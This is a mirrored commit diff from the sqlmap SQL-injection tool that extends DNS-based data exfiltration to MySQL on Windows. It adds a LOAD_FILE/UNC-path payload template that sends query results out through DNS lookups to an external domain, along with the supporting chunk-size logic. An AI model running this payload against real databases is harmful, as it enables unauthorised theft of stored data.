mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-25 19:13:48 +03:00
works against MySQL/Windows
This commit is contained in:
parent
a1d97e9d7b
commit
a4b95ab7dd
|
@ -95,6 +95,7 @@ class DNSServer:
|
|||
thread.start()
|
||||
|
||||
if __name__ == "__main__":
|
||||
server = None
|
||||
try:
|
||||
server = DNSServer()
|
||||
server.run()
|
||||
|
@ -118,4 +119,6 @@ if __name__ == "__main__":
|
|||
except KeyboardInterrupt:
|
||||
os._exit(0)
|
||||
finally:
|
||||
if server:
|
||||
server._running = False
|
||||
|
||||
|
|
|
@ -52,7 +52,7 @@ def dnsUse(payload, expression):
|
|||
count = 0
|
||||
offset = 1
|
||||
|
||||
if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE):
|
||||
if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL):
|
||||
output = hashDBRetrieve(expression, checkConf=True)
|
||||
|
||||
if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None:
|
||||
|
@ -64,7 +64,7 @@ def dnsUse(payload, expression):
|
|||
while True:
|
||||
count += 1
|
||||
prefix, suffix = ("%s" % randomStr(3) for _ in xrange(2))
|
||||
chunk_length = MAX_DNS_LABEL / 2 if Backend.isDbms(DBMS.ORACLE) else MAX_DNS_LABEL / 4 - 2
|
||||
chunk_length = MAX_DNS_LABEL / 2 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MYSQL) else MAX_DNS_LABEL / 4 - 2
|
||||
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
|
||||
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
|
||||
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)
|
||||
|
|
1
procs/mysql/dns_request.txt
Normal file
1
procs/mysql/dns_request.txt
Normal file
|
@ -0,0 +1 @@
|
|||
SELECT LOAD_FILE(CONCAT('\\\\%PREFIX%.',(%QUERY%),'.%SUFFIX%.%DOMAIN%\\%PREFIX%%SUFFIX%'))
|
Loading…
Reference in New Issue
Block a user